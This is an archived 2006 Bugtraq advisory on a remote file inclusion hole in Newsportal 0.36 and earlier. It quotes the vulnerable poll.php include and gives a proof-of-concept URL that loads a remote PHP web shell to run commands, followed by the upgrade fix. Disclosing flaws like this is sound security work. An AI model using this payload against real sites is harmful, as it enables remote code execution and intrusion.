bugtraq - Newsportal <= 0.36 Remote File Inclusion Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060517141949.2534.qmail@securityfocus.com>
Date: 17 May 2006 14:19:49 -0000
From: philipp.niedziela@....de
To: bugtraq@...urityfocus.com
Subject: Newsportal <= 0.36 Remote File Inclusion Vulnerability


Newsportal <= 0.36 Remote File Inclusion Vulnerability

[+] Affected Software: Newsportal <= 0.36 + register_globals=on
[+] Vendor: http://florian-amrhein.de/newsportal
[+] Contact. philipp.niedziela@....de
[+] Vuln discovered by: Florian Amrhein
[+] PoC by: Philipp Niedziela

// CODE [newsportal]/extras/poll/poll.php --------------------------------------------

<?
// experimental!
// fills article-cache
$url=explode("/",$PATH_INFO);
$group=$url[1];
include "config.inc";
$title.= ' - '.$group;
include "head.inc"; ?>

<a name="top"></a>
<h1 align="center"><?php echo $group; ?></h1>

<p>Lese Overview- und Artikeldaten ein...</p>

<?

// -----> VULN
include("$file_newsportal");
// <----- VULN

$ns=OpenNNTPconnection($server,$port);
flush();
if ($ns != false) {
$headers = readOverview($ns,$group,1,true);
closeNNTPconnection($ns);
}
?>

<p align="right"><a href="#top"><? echo $text_thread["button_top"];?></a></p>

<? include "tail.inc"; ?>

// CODE --------------------------------------------


[+] PoC:

http://[url]/[pathtonewsportal]/extras/poll/poll.php?file_newsportal=http://localhost/phpshell.txt?cmd=uname -a

[+] Solution: Upgrade to 0.37 || del. [newsportal]/extras/poll/poll.php
[+] Greets: Lenni :)